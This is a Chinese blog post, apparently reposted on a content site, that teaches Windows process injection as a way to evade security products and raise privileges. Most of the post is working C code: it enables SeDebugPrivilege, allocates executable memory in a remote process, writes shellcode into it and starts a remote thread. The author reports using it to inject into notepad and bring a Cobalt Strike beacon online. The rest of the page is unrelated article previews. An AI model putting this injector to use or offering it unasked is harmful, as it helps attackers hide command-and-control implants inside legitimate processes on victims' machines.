你真的了解进程注入吗?

关注公众号回复20231110获取最新网络安全以及内网渗透等资料。

在这里插入图片描述

文章目录

    • 关注公众号回复20231110获取最新网络安全以及内网渗透等资料。
      • 进程注入
          • 进程注入是什么?
          • windows进程
          • 虚拟地址空间
          • 句柄
          • Tokens
          • 线程数
          • 特权
          • shellcode注入

进程注入

进程注入是什么?

攻击者将代码注入到进程中,以逃避基于进程的防御,并且提升相应的权限。进程注入是一种在单独的活动进程的地址空间中执行任意代码的方法。在另一个进程的上下文中运行代码可能允许访问该进程的内存、系统/网络资源以及可能提升的权限。通过进程注入执行也可能逃避安全产品的检测,因为执行被隐藏在合法进程下。

其实本质来说就是将恶意代码注入到另一个进程中。

windows进程

对于要运行的进程,它必须有一个正在运行的线程,该线程是运行代码的组件。

虚拟地址空间

私有虚拟地址空间是进程可以访问的内存,它被认为是“私有”,这意味着只有该进程可以看到该地址空间。为了共享地址空间,该内存将被映射到磁盘上并以这种方式共享。但这对于我们现在所需要的并不重要。

句柄

句柄是我们很快就会重新讨论的东西,所以现在我们只需要记住它们是代表系统资源的对象。

句柄可以是文件,线程数,流程,ETC等等。

Tokens

目前每个进程都需要一个Access Token。它负责设置进程的安全上下文,随后将继承其运行用户的所有访问控制。
在这里插入图片描述

线程数

线程是执行代码的进程的组件,由内核调度来执行代码线程负责维护CPU寄存器的状态、当前的安全上下文、进程的状态等。

线程数可以在thread中看到。
在这里插入图片描述

特权

特权其实就是让进程知道自己可以执行那些系统操作。

例如在Security中可以看到到当前进程的特权。

在这里插入图片描述
我们都知道如果想要让进程去访问另外一个进程的话,就需要开启SeDebugPrivilege特权。

例如我们注入svchost这个进程。
在这里插入图片描述
修改SeDebugPrivilege特权代码如下:

#include<Windows.h>
#include<stdio.h>

BOOL EnableSeDebugPrivilege() {
	HANDLE Token;
	LUID LuidValue = { 0 };
	TOKEN_PRIVILEGES TP = { 0 };
	BOOL Aret = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &Token);
	if (Aret == NULL) {
		printf("GetTokenHandle Fail\n");
		return FALSE;
	}
	BOOL Bret = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &LuidValue);
	if (Bret == NULL) {
		printf("LookupPrivilegeValue Fail\n");
		return FALSE;
	}
	TP.PrivilegeCount = 1;
	TP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	TP.Privileges[0].Luid = LuidValue;
	BOOL Cret = AdjustTokenPrivileges(Token, FALSE, &TP, 0, 0, 0);
	if (GetLastError() == ERROR_SUCCESS) {
		printf("AdjustToken Success\n");
		return TRUE;
	}
	printf("AdjustToken Fail\n");
	printf("ErrorCode: %d\n", GetLastError());
	return FALSE;
}

int main() {
	EnableSeDebugPrivilege();
	system("cmd");
	return 0;
}
shellcode注入

首先我们需要获取到远程进程的句柄,这里通过OpenProcess来实现。

HANDLE OpenProcess(
  [in] DWORD dwDesiredAccess,
  [in] BOOL  bInheritHandle,
  [in] DWORD dwProcessId
);

这里的第一个参数就是我们需要对该进程的访问权限。

如下:

PROCESS_CREATE_THREAD:创建线程的权限。
PROCESS_VM_OPERATION:需要对远程进程的地址空间执行操作。
PROCESS_VM_WRITE:向远程进程写入内存的权限。

这里我们也可以通过PROCESS_ALL_ACCESS来进行设置。

下一个参数表示我们是否要继承其他进程的句柄,这里我们一般给定FALSE即可。

最后一个参数就是你要访问进程的PID。

如下代码:

DWORD pid = 1234;
HANDLE hp;
hp = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_WRITE | PROCESS_VM_OPERATION,TRUE,pid);
if (!hp) {
	printf("faild success Process Handle");
}
printf("success Process Handle");

现在我们已经有进程的句柄了,我们就可以使用VirtualAllocEx申请我们的shellcode。

LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);

第一个参数就是我们上面打开的那个句柄,也就是hp,第二个参数一般给定为nullptr,第三个参数就是我们shellcode的大小,第四个参数设置为MEM_COMMIT|MEM_RESERVE,最后一个参数设置为PAGE_EXECUTE_READWRITE即可。

#include<Windows.h>
#include<stdio.h>
unsigned char payload[295984] = { 0x9c };
SIZE_T payload_len = sizeof(payload);
int main() {
	DWORD pid = 1234;
	LPVOID Address;
	HANDLE hp;
	hp = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_WRITE | PROCESS_VM_OPERATION,TRUE,pid);
	if (!hp) {
		printf("faild success Process Handle");
	}
	printf("success Process Handle");
	
	Address = VirtualAllocEx(hp,nullptr,payload_len,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
	if (!Address) {
		printf("内存分配失败");
	}
	printf("内存分配成功");
}

现在已经申请完内存了,现在只要写shellcode就可以了。

这里使用WriteProcessMemory 函数来进行编写。

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);

这里的第一个参数就是我们进程的句柄,第二个参数就是我们使用VirtualAllocEx申请的地址,第三个参数就是shellcode,第四个参数表示shellcode的大小,最后一个参数就是写入字节数的输出参数。

#include<Windows.h>
#include<stdio.h>
unsigned char payload[295984] = { 0x9c };
SIZE_T payload_len = sizeof(payload);
int main() {
	DWORD pid = 1234;
	LPVOID Address;
	HANDLE hp;
	SIZE_T bytesWritten;
	hp = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_WRITE | PROCESS_VM_OPERATION,TRUE,pid);
	if (!hp) {
		printf("faild success Process Handle");
	}
	printf("success Process Handle");
	
	Address = VirtualAllocEx(hp,nullptr,payload_len,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
	if (!Address) {
		printf("内存分配失败");
	}
	printf("内存分配成功");
	
	WriteProcessMemory(hp,Address,payload,payload_len,&bytesWritten);
	
}

紧接着就是创建线程然后执行了。

这里创建线程使用CreateRemoteThread函数即可。

HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);

这里的第一个参数还是跟上面一样进程的句柄,第二个参数设置为nullptr,第三个参数就是shellcode的大小,第四个参数表示指向一个应用程序定义的函数的指针,这个参数的类型为 LPTHREAD_START_ROUTINE,

完整代码:

unsigned char payload[277214] = {shellcode};
SIZE_T payload_len = sizeof(payload);
int main() {
	DWORD pid = 6624;
	LPVOID Address;
	HANDLE hp;
	SIZE_T bytesWritten;
	DWORD id = 0;
	hp = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_WRITE | PROCESS_VM_OPERATION,TRUE,pid);
	if (!hp) {
		printf("faild success Process Handle");
	}
	printf("success Process Handle");
	
	Address = VirtualAllocEx(hp,nullptr,payload_len,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
	if (!Address) {
		printf("内存分配失败");
	}
	printf("内存分配成功");
	
	WriteProcessMemory(hp,Address,payload,payload_len,&bytesWritten);

	CreateRemoteThread(hp,nullptr,payload_len,(LPTHREAD_START_ROUTINE)Address, nullptr, GENERIC_EXECUTE, &pid);
	
	printf("id=%d", id);
	
}

这里我们注入的是notepad,这里我们观察一下进程。

这里目前是6个线程。
在这里插入图片描述
我们现在进行注入。

可以看到它加了5个线程。
在这里插入图片描述
而我们的CS已经上线了。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/241972.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

《HumanGaussian: Text-Driven 3D Human Generation with Gaussian Splatting》

文章目录 前置知识&#xff1a;一、正文&#xff1a;二、方法 前置知识&#xff1a; \quad 1&#xff09;SMPL&#xff08;Skinned Multi-Person Linear&#xff09;模型 \quad SMPL&#xff08;Skinned Multi-Person Linear&#xff09;模型是一种用于表示人体形状和姿势的三维…

随机变量的定义

试验E的样本空间为S&#xff0c;样本空间S中的元素记为e&#xff0c;即样本点是e&#xff0c;样本空间记成&#xff0c;表示元素组成的集合。 随机变量的定义&#xff1a;设随机变量的样本空间为&#xff0c;是定义在样本空间S上的实值单值函数&#xff0c;称为随机变量。 随机…

vue3+element-plus, 设置table表格滚动到最底部

当table设置heigh属性时&#xff0c; 希望表格添加行数时&#xff0c;能显示最后底部数据&#xff08;即表格滚动条&#xff0c;滚动到最底部&#xff09;解决方法 const tableListRef ref();let table tableListRef.value.layout.table.refs; // 获取表格滚动元素 let tab…

Java基础语法之继承

为什么要继承 会发现&#xff0c;狗和猫只有叫声不同&#xff0c;因为它们都是动物&#xff0c;会有相同的属性和行为&#xff0c;所以它们可以继承animla类 如何继承 用到extends关键字 这样就会简化好多 注意 1.Animal称为父类/超类/基类&#xff1b;dog&#xff0c;cat称…

《快乐阅读》期刊论文发表投稿

《快乐阅读》期刊是经中华人民共和国新闻出版总署审核通过的&#xff0c;由河南文艺出版社有限公司主办、中原大地传媒股份有限公司主管的&#xff0c;面向国内外公开发行的省级优秀学术刊物。 收稿栏目&#xff1a;清唱、微课堂、教学实践、专栏、师与道、教与学、经验交流、…

电机驱动开发

最近在搞电机驱动程序&#xff0c;感觉很简单&#xff0c;实际操作却发现里面还有很多猫腻&#xff08;细节&#xff09;。 电机在嵌入式设备中非常常见&#xff0c;例如云台的转动&#xff0c;都是靠电机来驱动的。 电机常见分步进电机、直流电机&#xff0c;相对来说步进电机…

【后端学前端】第一天 css动画 内凹导航栏

1、学习信息 css动画 内凹导航栏_哔哩哔哩_bilibili 随便找的的视频&#xff0c;主要原因是在公司不方便有声音 2、源码 最终源码 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>Title</title…

Re59:读论文 Retrieval-Augmented Generation for Knowledge-Intensive NLP Tasks

诸神缄默不语-个人CSDN博文目录 诸神缄默不语的论文阅读笔记和分类 论文名称&#xff1a;Retrieval-Augmented Generation for Knowledge-Intensive NLP Tasks 模型开源地址&#xff1a;https://huggingface.co/facebook/rag-token-nq ArXiv下载地址&#xff1a;https://arxi…

【INTEL(ALTERA)】Agilex7 FPGA Development Kit DK-DK-DEV-AGI027RBES 编程/烧录/烧写/下载步骤

DK-DEV-AGI027RBES 的编程步骤&#xff1a; 将 USB 电缆插入 USB 端口 J8&#xff08;使用 J10 时&#xff0c;DIPSWITCH SW5.3&#xff08;DK-DEV-AGI027RES 和 DK-DEV-AGI027R1BES&#xff09;和 SW8.3&#xff08;DK-DEV-AGI027RB 和 DK-DEV-AGI027-RA&#xff09;应关闭&a…

37.分支结构嵌套

目录 一.什么是分支结构嵌套 二.什么情况下会用分支结构嵌套 三.举例 四.注意事项 五.视频教程 一.什么是分支结构嵌套 在一个if语句中又包含了另外一个if语句&#xff0c;这种情况称之为if语句的嵌套&#xff0c;也叫做分支结构嵌套。 二.什么情况下会用分支结构嵌套 如…

计算机网络简答题

面向连接和非连接的服务特点 面向连接的服务&#xff1a;通信双方在进行通信之前&#xff0c;要事先建立一个完整的可以彼此沟通的通道&#xff0c;在通信过程中整个连接的情况可以被实时的监控和管理 面向非链接的服务&#xff1a;不需要预先建立一个联络两个通信节点的连接&a…

陵园殡仪馆网站建设的效果如何

陵园墓地的需求度众多周知非常高&#xff0c;无论墓地坑位咨询还是事项/环境展示、资料预览等都是常见事项&#xff0c;由于行业的特殊性&#xff0c;对正常客户来说&#xff0c;并不会知悉各个事项、价格、服务、流程等内容。 而对企业来说&#xff0c;也有获客、品牌扩张等需…

ViTDet论文笔记

arxiv&#xff1a;https://arxiv.org/abs/2203.16527 GitHub&#xff1a;https://github.com/ViTAE-Transformer/ViTDet 摘要 本文提出使用plain&#xff0c;non-hierarchical视觉transformer作为目标检测的主干网络。通过这种设计可以使得ViT结构模型不需要再重新设计一个分…

微信小程序自定义提示框组件并使用插槽 tooltip

创建tooltip组件引用 创建一个自定义组件&#xff0c;例如命名为 tooltip tooltip.wxml&#xff1a;用于定义组件的结构&#xff1b; <!--components/tooltip/tooltip.wxml--> <view class"tooltip-wrapper" hidden"{{hidden}}" style"lef…

美赛F奖经验分享,干货满满,快来查收!

2023年美赛结果出来之后&#xff0c;陆续有人给我发私信求经验&#xff0c;跟一些同学交流后我发现&#xff0c;很多人其实对美赛了解程度很少。我借此机会介绍一下美赛&#xff0c;并分享一下获奖经验。我的内容主要包括以下几个部分&#xff1a;美赛是什么、得奖分布、选题建…

【docker 】基于Dockerfile创建镜像

Dockerfile文档 Dockerfile文档地址 Dockerfile 是一个用来构建镜像的文本文件&#xff0c;文本内容包含了一条条构建镜像所需的指令和说明。 DockerFile 可以说是一种可以被 Docker 程序解释的脚本&#xff0c;DockerFile 是由一条条的命令组成的&#xff0c;每条命令对应 …

Day08 Liunx高级系统设计9-线程间同步与互斥

引入 经过昨天的学习 , 我们会使用线程 但是当多个线程同时操作同一个数据会导致数据安全问题 为了解决该问题 , 我们需要对其进行更加深入的学习 解决思路 保证多个线程不能同时操作同一个数据 同步与互斥的概念 互斥&#xff1a;同一时间&#xff0c;只能有一个任务&…

MacOS系统使用ESP8266(CP2102)开发板

开发板实物 连接开发板到macos 终端输入lsusb查看,开发板硬件成功识别 打开Arduino IDE并选择开发板 开发板连接成功 编译代码 上传成功 打开串口监视器,按一下RST键,可看到WIFI名输出及WIFI的IP输出 WIFI热点功能启用

双十二哪个牌子的电视盒子好用?测评员总结电视盒子品牌排行榜

每次电商大促我会分享好物推荐&#xff0c;本期我要盘点的数码产品是电视盒子&#xff0c;电视盒子的功能和重要性大家都懂&#xff0c;但电视盒子如何选就不太了解了&#xff0c;我根据今年20多次的测评结果整理了电视盒子品牌排行榜&#xff0c;看看哪个牌子的电视盒子好用吧…

智能优化算法应用:基于斑点鬣狗算法3D无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用&#xff1a;基于斑点鬣狗算法3D无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用&#xff1a;基于斑点鬣狗算法3D无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.斑点鬣狗算法4.实验参数设定5.算法结果6.…